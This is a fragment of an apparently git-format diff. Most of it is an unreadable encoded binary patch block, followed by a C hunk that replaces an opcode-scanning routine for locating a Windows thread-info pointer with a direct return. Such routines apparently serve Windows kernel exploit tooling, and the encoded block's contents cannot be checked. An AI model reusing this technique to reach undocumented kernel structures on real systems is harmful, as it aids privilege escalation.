zb3U8p{~2a8eaH8lc$-*Ty@Bt!u_WUk_TrZ@%0CvfOJADh!R-4lL*&lPa;-a|(c>}mXXBqrUC*4k3OIPfw3Q6S zq$@~sNT-k{lMWya%98OL;qYL;c&V5-wRF5tb+yosY|t%zx|zfF3PaIhq3#o)C_0b@ zd{gArwo%rKSJb`mO+WX*wmTw7Y8UE9YN`9|`{nM|hChYbsGXxES^g4?T?Oq^OzchE zLhMHz?Go`_h%1P@61Nd|BTkXT(FF*$N>yYCqyRrz1YiZOeR7ELoxJvGBF1Z=_DNAh zJRT+5r-B#{6YbMPY$2|46Y+gC#!H=_yD)@OfaD>#h&YcJ+Y#EQl=yMtYT|pu9}v5U zo9b$Q7}Cv}Ge}gckU5W-uZs95pV(cXR78yXn)WFr_8_hx#=ThkR1)h0Sw&0(X_czU zppRrNaVM&vo|xas`KN)H-@y6DLEKrO)I{t{+)S*`j22=sGjM}(lA&X25bIN;ofr!S z@fj?7%uHw`?oRASOjAh;Al7G+g;<+OXkUsXgFcm_iS?>;xOVOV!kZlpJHPE?I{106894*RS@?lt|T5nTtz&P z+Lx-y5JdsC#Dj?IiH8t35Dz1E5DzDAB2FM~CQc-7As!{pA9H{VqbZ<`IEA>KIF(o$ zBIdwYVk0qsUht0}@pyq!0PzH33vs&E|1d_90dHK|Cz=>-YMqEYgPHdt3yMee?_^px$85*d7 zCvg+8k+_8zzgf~g&3}kHd?(^I^7|0umjT-I#zgE#+?m*-G5X(^4AB(8e?-kcDa2if z^(R(WV*QELjX0Cy{fTpk&BXb{-HD4i^YITLLj?r{5?2ui5!Vv;ByJ$?MchOjOx!}; zo4AcQgjgCX7vqa*JY31(2LtCm#1`UE;%MT{sK#F@n5#5u$f#QDVih>M5HR;|JQ zWT>Ek0mN0r1Bq*iqlg=b2N5?D4g*byalXwbo4)IjteBw;vV&W{pR;hvv4^TiA@eJZx;#tHE z#EXcVh?fwz5HBTeBYuiliW4U+Ybz35e|}_e*Ow@Cr}8AWkl%|qn%J8-g_!?CAO6WC z_9MnG4YVHaMx0OV&zWEU#boGC0TskS#8t$>#Q4pGR$&yegE)z}g?JQk8}V3TDPELc z0_N>Y0c4PAjTK4kPMkpONvslk5oZ&76XRzr+5!3y7ZC>$ml7xW(DS#73`;1WmRP1m zTLZB>aTBp8aSO2*aT~EWu{4Yhh}e%f$WJ?eNwSb3i2|aDWm@#55W5p+5_=No5PK2l z6MGXE6Z;TX5C>VwP(_9$;(B74R*?>3FXComZ(=904{X3opmUn=M}oEIzqcw3 z_zkjl-FjyTR&~x4oK5V$R&XA15OEQ)zE&I~!X$lpP8}%~Q`}?v`d@zurFf}=0-DKC zMf^E&E%9OE2I4B>CgSIaTZlg-ZX^C!U;pDL@YM&BU(|J2~_5KSPFg3cxog+Q*nIy7(R90OG$BM-m?)P9Xk- zSS4;E&L*BjoCnsf{{}J?QNR^qeJjR`xRm^th%1S|B(5g@l(?SwEU|<5P2%QcTK}IQ zgOdV2B5o(%M{FD^dgN8&0OGHRBZ(Pt0&xqmO8hQy_DEX)UnD~w1zaaCBL0H7l=vEP zCGls()x@WX^_`Nw#P#IY-?HniblvJ(BMu5!sy9G>eXFIJ{CRqXGzqGx;AO&LMvYv6K7{a^`2H?@)H8fOZO?r>>;$So)IRI9l}B--rW< zrx81;hx~{m$)826?~V-uYrUF40V^m#-~Ad&tdhToSl^5qL7Ywg^?G?afG)&2G^C@6 z^C-SdfBqMd;XVq`x7%WfOUb{6xPrPgoVb$w59{&d40X%L3X}Qb>$H zbfNM6#QG+6S7Md?&l6`8PbbbJw%W-c(GhhcE~0>P;s83MVZ^26f0Ecp<^72($^QVc zANkG1)xvL;W{{zt3RDt1h&K~A6Td|4B(5e7pa!}Vx064c*h2mu#Ku(KgXsU6WYD)z zlZgYg0Q?kzIFk4vaRTuwy*%+w;%I6xkT{$Cvx$qipO1ei8S*G#p&medoVb+u6mcbS zEpat*J#jtpIbsKKBXI%_KzsfNk)fFa<`C=a`EQ7wmf31H{q9FA%3t zkMtx~$I$bCI~lU6z+7U9CS5FX9{C^FnfxilMdaT^tnaEP5SNm_m^gZfRh&U087e8@ zDPon5xEFCX`R5VW6F*9vN%6tN4)V_@_M-!iCvLVg@hoX%s#3GO1c5I;d|t)dG1ks*Ns789$)%Zamz-H7vuza}mst{^TY-c4Ld{D$CA zshSLjD4?ErJh9_wYOwrLcg625``5AZ^MWCYj^{$s=EqZV$G97blNckeLoYYTq$fl0HRBxgnb3wl3a^Y)ki}RGa#rWp) zHWVD&M^jK2Rvn+vv2;UzBGOMc?9UF9gF^MVx=cxW4@r-^jQm|B#GM@`_wK46b1ohp zt8sre-n9QdOpfR%ABkJ?Y^120qF)vwe+PHTsGIgN!{u0e*>E|^J~UbG5z)nLl+1CR zBy&ucHs2OgL#KT2jviUDSd#W5O}J_Qdbk{F<-HM&EB}8gGjRo01V|I8&n39gP_N@#2@m7_^Hi!#iUdeD@>qyr!Dp{>TV9XqX-o z{hTBnMM|SOWM2=-7w6=QbMjr$DPOQB81@+Zp%HRKfL_+dB+0xE0Awm~-U&523! zu%X(Jqh;C8L-JeLMe=*YtHm?lBa?=;W5~ws#e_qeXFr@IcN?!)K4c&M`UKJw`hjVq z?V*i!mo6Ss7aU-h7*or?&$^?C{{xA&+W$(DgS1(vb{v8UoBckL-&UV|n6ysO^}p5E zw+^!riP13x;>$KuoWErH#Ur1eUJ)t?#20j(esRxt%Tb~`Y=eBHkOH&4E?GA7{y3W~ zhemK`C2yFI!g^BNq_i28r9^AG!v1@*JeZdmFjAfv#LMLHMuPDt{(kXnG32}FxMlK& z?9Yyr$Md*PM#=-?d0Z{x_(%U!fLZvb(tPCgq=GY$GI{DINsrh^j*^Fj*8}yB5C73m z8@>?de`tz6_h5^*ZyALjG5!Caqy7J%qlt;}zx+8`(*NS;X!e*?d83a!e#N3i8H*RJ zcyPsTa>)N6J?ts-WD7?0!Fh6zzy_lj@Jy4?rp`he zcr~LZChrmF^1s)kLGy8Qwgx<|*Z==Ut@P zk>^jF`5{tnBZ$w0 z=3^bd7IvsrS`aHq`v6O!mykX{{v+rwNcS?(7<35Uws>RF&`ip6-Gy{(5_${TKz96! zRyr~ay@GnUj>fy`E#y<6P9%PyT-&jVlg8uqoM%Rj6^<0>7Njr)ZG%Rpp(~M3fj)v4 zCjK{i@bg>=zr58N<{F2@4=x$H8;Lit5Bf3XRV z;PYcM^bArJ?B}6Hc>S+Np6k*a{L`Ds7$)dvNJn753Z48Q4jTCeXe$ywh+7X@F}_$J z@-yQa^N`3VLuXTd4stxkFBePFx2UuQdg(E|lc=}~pl`20Wyl|cPF*Q_C=M&1Hlh!?qi z+z#zpjQ3>Z{h>3EctzRJ7b#y0&3+0ekPbWa>-D&oApb429f@DkT!)ru2WOSykhzK! zh9Ity8^oD$-HpWOL@o4ryxC1hOeORx5}#aLbDtI`un^kk8A;lPm@w!@B&{s;Bcuk{ zTcGVo4&f_D>hUBJARTc^}wqk9|Hat zP(twv*b4_522DcZU7ZY_jg*1>9OxRduZ6yj#LKo>k?C83*^Zzn=zgSq$RC3SZxKNj z=qE`0Y?`4jZx#7hpyL^hF|-BgBgAmsv`yS(HbbSqi35s)u6rJgo-2i3N3!ypjAWOj zDM$fuWI|_E;--WA9H;|{UuIlS?iBV9ptUdI%0Ud*@l_Z$#uBCc1EZo}RNJ^BV_JZ}v8L>+GD$ghPCJ0eaj0lFNCpFloz^qZ&) zF)2__>sz?H0ji)69FwG1kk5v8J}L5k(8tbVV!~bktwiDtbM1akTuuQ{$3^^;C|rtM zPc-3@L;eHkyO*$cf&4LO@D*`qv_OAGS_`}NHZqYP~m$5+C9w=!;+C1Yoa%&ftH`{VE{) z8jkV?&IWnDS;#j7GjN%4e_magic == 'ZM') { - ntHeader = (PIMAGE_NT_HEADERS)((BYTE *)dosHeader + dosHeader->e_lfanew); - imageBase = ntHeader->OptionalHeader.ImageBase; - currentByte = *(BYTE *)tmpProcAddress; - sizeOfImage = imageBase + ntHeader->OptionalHeader.SizeOfImage; - counter = 0; - do { - if (currentByte == 0xe8) { - v8 = (FARPROC)((char *)tmpProcAddress); - v8 = (FARPROC)((QWORD)v8 + counter); - v8 = (FARPROC)((DWORD)v8 + *(DWORD *)((char *)tmpProcAddress + counter + 1)); - v8 = (FARPROC)((QWORD)v8 + 5); - if (((QWORD)v8 >= imageBase) && ((QWORD)v8 <= sizeOfImage)) { - v10 = (PIMAGE_DOS_HEADER *)v8(); - break; - } - } - counter++; - currentByte = *((BYTE *)tmpProcAddress + counter); - } while (counter <= 70); - } - FreeLibrary(dosHeader); - dosHeader = (PIMAGE_DOS_HEADER)v10; - } - return (QWORD)dosHeader; + return Win32ThreadInfo; } #else DWORD __stdcall MyPtiCurrent() {